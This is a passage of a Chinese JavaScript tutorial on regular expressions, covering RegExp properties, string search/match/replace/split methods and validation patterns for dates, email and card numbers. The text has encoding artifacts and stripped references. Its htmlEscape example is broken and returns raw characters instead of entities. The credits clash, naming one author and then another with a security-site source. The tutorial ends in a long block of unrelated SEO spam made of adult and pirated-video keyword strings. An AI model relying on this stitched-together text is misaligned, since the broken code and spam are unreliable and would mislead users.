            pattern.lastIndex = 0;  // 3 如果沒有此句,返回9,即pat的位置
            console.log(pattern.exec(str));
            console.log(pattern.lastIndex);

            RegExp構造函數(shù)屬性:

            RegExp構造函數(shù)包括一些屬性,這些屬性適用于作用域中的所有正則表達式,并且基于所執(zhí)行的最近一次操作而變化,另外這些屬性名都有別名,即可以通過兩種方式來訪問它們,可以稱為長屬性和短屬性;

            input -- $_ :最近一次要匹配的字符串;
            lastMatch -- $& :最近一次的匹配項;
            lastParen -- $+ :最近一次匹配組;
            leftContext -- $` :input字符串中l(wèi)astMatch之前(左邊)的文本
            rightContext -- $’ :input字符串中l(wèi)astMatch之后(右邊)的文本
            multiline -- $* :布爾值,表示是否所有表達式都使用多行模式,部分瀏覽器未實現(xiàn)

            使用這些屬性都可以從exec()或test()執(zhí)行的操作中提取出更具體的信息;

            var text = "this has been a short summer";
            var pattern = /(.)hort/gm;
            if(pattern.test(text)){
                console.log(RegExp.input);  // this has been a short summer
                console.log(RegExp.lastMatch);  // short
                console.log(RegExp.lastParen);  // s
                console.log(RegExp.leftContext);  // this has been a 
                console.log(RegExp.rightContext);  // summer
                console.log(RegExp.multiline);  // undefined
            }

            由于短屬性大都不是有效JS標識符,所以必須通過方括號訪問;

            if(pattern.test(text)){
                console.log(RegExp.$_);  // this has been a short summer
                console.log(RegExp["$&"]);  // short
                console.log(RegExp["$+"]);  // s
                console.log(RegExp["$`"]);  // this has been a 
                console.log(RegExp["$'"]);  // summer
                console.log(RegExp["$*"]);  // false
            }

            除了以上,還有9個用于存儲捕獲組的構造函數(shù)屬性,語法為: RegExp. . RegExp.…..RegExp., 分別用于匹配第一,第二…第九個捕獲組,在調用exec()或test()方法時,這些屬性會被自動填充;

            var text = "this has been a short summer";
            var pattern = /(..)or(.)/g;
            if(pattern.test(text)){
                console.log(RegExp.$1); // sh
                console.log(RegExp.$2); // t
                console.log(RegExp.$3); // ""
            }

            說明:包含了兩個捕獲組;本質上就是反向引用。

            字符串方法:

            正則是用在字符串String類型上的,所以String類型定義了幾個用于在字符串中匹配模式的方法;

            search()方法:

            接受的參數(shù)就一個正則表達式,其返回字符串中第一個匹配項的索引;如果沒有找到匹配項,則返回-1;如:

            var text = "cat, bat, sat, fat";
            // 以下的.at可以改成at
            var pattern = /.at/;  // 0
            var pos = text.search(/.at/);  // 0
            var pos = text.search(/.at/g);  // 0
            console.log(pos); 

            search()不支持全局檢索,它會忽略正則表達式參數(shù)中的修飾符g;也會忽略RegExp的lastIndex屬性,總是從String的開始位置搜索,即它總是返回String中第一個匹配子串的位置;

            如果search()參數(shù)不是正則表達式,則首先會通過RegExp構造函數(shù)將它轉換成正則表達式;

            var text = "cat, bat, sat, fat";
            var pos = text.search('at');  // 1
            console.log(pos); 

            注:也可以理解為就是查找普通的字符串的索引位置;

            match()方法:

            本質上與RegExp的exec()方法相同;其只接受一個參數(shù),一個正則表達式或是一個RegExp對象,如果參數(shù)不是RegExp,則會被RegExp()轉換為RegExp對象,如:

            var text = "cat, bat, sat, fat";
            var pattern = /.at/;//["cat", index: 0, input: "cat, bat, sat, fat", ...]
            var pattern = ".at";//會被轉換成RegExp對象
            var pattern = /.at/g;  //["cat", "bat", "sat", "fat"]
            var matches = text.match(pattern);
            console.log(matches);

            返回一個包含匹配結果的數(shù)組,如果沒有匹配結果,返回null;

            如果沒有使用修飾符g,match()不會進行全局檢索,它只會檢索第一個匹配,但其依然會返回一個數(shù)組,此時,數(shù)組唯一的一項就是匹配的字符串;

            如果使用了分組,第一項是匹配的整個字符串,之后的每一項(如果有)保存著與正則表達式中的捕獲組匹配的字符串;

            //["zeronetwork", "network", "work", index: 0, input: "zeronetwork is good zeronetwork", groups: undefined]
            var str = "zeronetwork is good zeronetwork";
            var re = /zero(net(work))/;
            var re = /zero(net(work))/g;
            var result = str.match(re);
            console.log(result);

            如果使用了全局檢索,數(shù)組會保存所有匹配結果;

            match()方法如果使用了一個非全局的正則,實際上和給RegExp的exec()方法傳入的字符串是一樣的,它返回的數(shù)組帶有兩個屬性:index和input,index指明了匹配文本在String中的開始位置,input則是對該String本身的引用。

            // 匹配URL
            var str = "訪問零點網(wǎng)絡官網(wǎng):https://www.zeronetwork.cn/index.html";
            var re = /(\w+):\/\/([\w.]+)\/(\S*)/;
            var result = str.match(re);
            console.log(result);
            var o={};
            if(result != null){
                o.fullurl = result[0];
                o.protocol = result[1];
                o.host = result[2];
                o.path = result[3];
            }
            for(var p in o)
                console.log(p + ":" + o[p]);

            如果使用了全局,返回的是每個匹配的子串數(shù)組,沒有index和input屬性;如果希望在全局搜索時取得這此信息,可以使用RegExp.exec()方法;

            replace()方法:

            此方法的目的是為了簡化檢索與替換子字符串的操作;

            該方法接受兩個參數(shù),第一個參數(shù)可以是一個RegExp對象或一個字符串(這個字符串不會被轉換成正則表達式),第二個參數(shù)是要替換的字符串,可以是一個字符串或一個函數(shù);如果第一個參數(shù)是字符串,那么只會替換第一個子字符串,要想替換所有子字符串,唯一的辦法就是提供一個正則表達式,而且要指定全局g標志,如:

            var text = "cat, bat, sat, fat";
            console.log(text.replace("at","ond"));// cond, bat, sat, fat
            console.log(text.replace(/at/g,"ond"));// cond, bond, sond, fond

            在第二個參數(shù)中使用捕獲組:使用$加索引數(shù)字,replace()將用與指定的子表達相匹配的文本來替換字符;這是一個非常實用的特性,如:

            var str = "cat, bat, sat, fat";
            console.log(str.replace(/(at)/g,"$1er"));//cater, bater, sater, fater
            // 將英文引號替換為中文引號
            var str = 'zero"net"work';
            var quote = /"([^"]*)"/g;
            console.log(str.replace(quote,'“$1”'));

            如果第二個參數(shù)是字符串,還可以使用一些特殊的字符序列,將正則表達式操作得到的值插入到結果字符串中,如:

            • $$ :$美元符號
            • $& :匹配整個模式的子字符串,與RegExp.lastMath的值相同
            • $` :匹配的子字符串之前(左邊)的子字符串,與RegExp.leftContext的值相同
            • $’ :匹配的子字符串之后(右邊)的子字符串,與RegExp.rightContext的值相同
            • $n :匹配第n個捕獲組的子字符串,其中n等于0-9,如,是匹配第一個捕獲組的子字符串,是第二個捕獲組的子字符串,以此類推;如果正則表達式中沒有定義捕獲組,則使用空字符串
            • $nn :匹配第nn個捕獲組的子字符串,其中nn等于00-99,如是匹配第一個捕獲組的子字符串,是匹配第二個捕獲組的子字符串,以此類推;如果正則表達式中沒有定義捕獲組,則使用空字符串

            通過這些特殊的字符序列,可以使用最近一次匹配結果中的內(nèi)容,如:

            var text = "my name is wangwei zero";
            var re = /(\w+)g(\w+)/g;
            console.log(text.replace(re,"$$"));
            console.log(text.replace(re,"$&"));
            console.log(text.replace(re,"$`"));
            console.log(text.replace(re,"$'"));
            console.log(text.replace(re,"$1"));
            console.log(text.replace(re,"$01"));
             
            var text = "cat, bat, sat, fat";
            var result = text.replace(/(.at)/g,"word ($1)");
            console.log(result);  // word (cat), word (bat), word (sat), word (fat)
            // 把名字格式顛倒
            var name = "Wei, Wang";
            console.log(name.replace(/(\w+)\s*,\s*(\w+)/, "$2 $1"));  // Wang Wei

            replace()方法的第二個參數(shù)也可以是一個函數(shù);該回調函數(shù)將在每個匹配結果上調用,其返回的字符串則將作為替換文本;

            該函數(shù)最多可傳遞3個參數(shù):模式的匹配項、模式匹配項在字符串中的位置和原始字符串;

            在正則表達式中定義了多個捕獲組的情況下,傳遞給函數(shù)的參數(shù)依次是模式的匹配項、第一個捕獲組的匹配項、第二個捕獲組的匹配項……,但最后兩個參數(shù)仍然分別是模式的匹配項在字符串的位置和原始字符串;此種方式,可以實現(xiàn)更加精細、動態(tài)的替換操作,如:

            // 所有單詞的首字母大寫
            var str = "zero net work";
            var result = str.replace(/\b\w+\b/g, function(word){
                return word.substring(0,1).toUpperCase() + word.substring(1);
            });
            console.log(result);  // Zero Net Work
             
            // 為HTML字符轉換為實體
            function htmlEscape(text){
                return text.replace(/[<>"&]/g, function(match, pos, originalText){
                    switch(match){
                        case "<":
                            return "<";
                        case ">":
                            return ">";
                        case "&":
                            return "&";
                        case "\"":
                            return """;
                    }
                });
            }
            var text = "<p class=\"greeting\">zero network!</p>";
            console.log(text);
            console.log(htmlEscape(text));  // <p class="greeting">zero network!</p>

            還可以在replace中使用捕獲組:

            var str = "aabb";
            var reg = /(\w)\1(\w)\2/g;
            console.log(str.replace(reg,function($,$1,$2){
                // return $ + "," + $1 + "," + $2;
                return "提取了兩個字母:"+$1+"和"+$2;
            }));
            // 替換成駝峰寫法
            var str = "zero-net-work";
            var reg = /-(\w)/g;
            console.log(str.replace(reg, function($,$1){
                return $1.toUpperCase();
            }));

            注:與exec()和test()不同,String類的方法search()、replace()和match()并不會用到lastIndex屬性;實際上,String類的這些方法只是簡單的將lastIndex屬性值重置為0;

            var str = "zeronetwork zero";
            var re = /zero/g;
            console.log(str.match(re));
            console.log(re.lastIndex);

            split()方法:

            可以基于指定的分隔符將一個字符串分割成多個子字符串,并將結果放在一個數(shù)組中;分隔符可以是字符串,也可以是RegExp對象;其可以接受可選的第二個參數(shù),用于指定數(shù)組的大小,以便確保返回的數(shù)組不會超過既定大小,如:

            console.log("1, 2, 3, 4, 5".split(/\s*,\s*/)); // ["1", "2", "3", "4", "5"]
             
            var colorText = "red,blue,green,yellow";
            var colors = colorText.split(",");  // red,blue,green,yellow
            var colors = colorText.split(",",2);// red,blue
            var colors = colorText.split(/[^\,]+/);  // ["", ",", ",", ",", ""]
            console.log(colors);

            ES正則的局限性:

            盡管ECMAScript的正則表達式的功能比較完備,但仍缺少某些語言所支持的高級正則表達式特性,如下:

            • 匹配字符串開始和結尾的\A和\Z錨(但支持^和$);
            • 向后查找(lookbehing(但完全支持向前查找lookahead);
            • 并集和交集類;
            • 原子組(atomic grouping);
            • Unicode支持(單個字符除外,如\rFFFF);
            • 命名的捕獲組(但支持編號的捕獲組);
            • s(single, 單行)和x( free-spacing, 無間隔)匹配模式;
            • 條件匹配;
            • 正則表達式注釋;

            即使存在這些限制,ECMAScript正則表達式仍然是非常強大的,能夠完成絕大多數(shù)模式匹配任務。

            常用模式:

            驗證日期:

            // m/d/yyyy    mmmm d,yyyyy   yyyy-m-d  yyyy/m/d    yyyy m d
            var re = /\d{1,2}\/\d{1,2}\/\d{4}/;
            var re = /(?:0?[1-9]|1[012])\/(?:0[1-9]|[12][0-9]|3[01])\/(?:[12][0-9]{3})/;
            console.log(re.test("9/30/2020"));
            console.log(re.test("2020-6-18"));
            console.log(re.test("2020/6/18"));
             
            // 判斷日期是否為YYYY-MM-DD 或 YYYY-MM-DD hh:mm:ss格式
            function isDateTime(value){
                if(value.length != 0){
                    var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/;
                    var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/;
                    if(reg.test(value))
                        return true;
                    return false;
                }
                return false;
            }

            驗證電子郵件:

            正確格式的電子郵件地址如ww1209@163.com,它必須符合以下幾個條件:電子郵件地址中同時含有“@”和“.”字符;字符“@”后必須有字符“.”,且中間至少間隔一個字符;字符“@”不為第一個字符,“.”不能為最后一個字符;

            var re = /\w+@\w+\.[com|net|cn]/;
            var re = /^(([a-zA-Z0-9_-])+)@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_-])+/;
            // wang.wei@
            var re = /^((?:\w+\.?)*\w+)@(\w+\.\w+)$/;
            var str = "ww1208@163.com";
            console.log(re.test(str));
            console.log("你的用戶名:" + RegExp.$1);
            console.log("主機名:" + RegExp.$2);

            銀行卡號:

            function checkNum(sCardNum){
                var bIsOdd = true;
                var iOddSum = 0;
                var iEvenSum = 0;
                for(var i=sCardNum.length-1; i>=0; i--){
                    var iNum = parseInt(sCardNum.charAt(i));
                    // console.log(iNum);
                    if(bIsOdd){
                        iOddSum += iNum;   
                    }else{
                        iNum = iNum * 2;
                        if(iNum > 9){
                            var tempArr = iNum.toString().split(""); 
                            iNum = tempArr[0] + tempArr[1];
                        }
                        iEvenSum += parseInt(iNum);
                    }
                    bIsOdd = !bIsOdd;
                    
                }
                return ((iEvenSum + iOddSum) % 10 == 0);
            }
            function isValidMasterCard(sText){
                var re = /^(5[1-5]\d{2})[\s\-]?(\d{4})[\s\-]?(\d{4})[\s\-]?(\d{4})$/;
                if(re.test(sText)){
                    var sCardNum = RegExp.$1 + RegExp.$2 + RegExp.$3 + RegExp.$4;
                    return checkNum(sCardNum);
                }else{
                    return false;
                }
            }
            console.log(isValidMasterCard("5568 4030 5586 1234"));
            console.log(isValidMasterCard("5432 1234 5678 9016"));


            Web前端開發(fā)之Javascript-零點程序員-王唯

          者:ye1s

          出處:https://www.anquanke.com/post/id/235190


          主站蜘蛛池模板: 国产一区二区在线| 欧美成人aaa片一区国产精品| 激情爆乳一区二区三区| 波多野结衣一区在线观看| 熟妇人妻系列av无码一区二区 | 亚洲国产福利精品一区二区| 福利片福利一区二区三区| 亚洲综合一区二区三区四区五区| 本免费AV无码专区一区| 国产精品美女一区二区| 亚洲AV无码一区二区三区在线| 久久精品一区二区三区中文字幕| 精品国产一区二区二三区在线观看| 无码少妇一区二区三区浪潮AV| 亚洲AV无码一区二三区| 国产成人一区二区三区精品久久| 国产精品一区二区久久不卡| 一区二区精品在线观看| 天码av无码一区二区三区四区 | 91福利视频一区| 无码人妻精品一区二区三区夜夜嗨 | 中文字幕一区二区三区四区 | 在线免费视频一区二区| 亚洲制服丝袜一区二区三区| 免费av一区二区三区| 亚洲夜夜欢A∨一区二区三区| 国产福利电影一区二区三区,日韩伦理电影在线福 | 亚洲乱色熟女一区二区三区丝袜| 国产一区中文字幕在线观看| 国产伦精品一区二区三区无广告| 国产精品无码一区二区三区毛片| 波多野结衣久久一区二区| 中文字幕乱码一区久久麻豆樱花| 中文字幕精品一区二区日本| 亚洲熟妇av一区二区三区下载| 亚洲午夜在线一区| 无码视频一区二区三区| 蜜桃视频一区二区| 日本高清成本人视频一区| 另类免费视频一区二区在线观看| 日本不卡一区二区三区|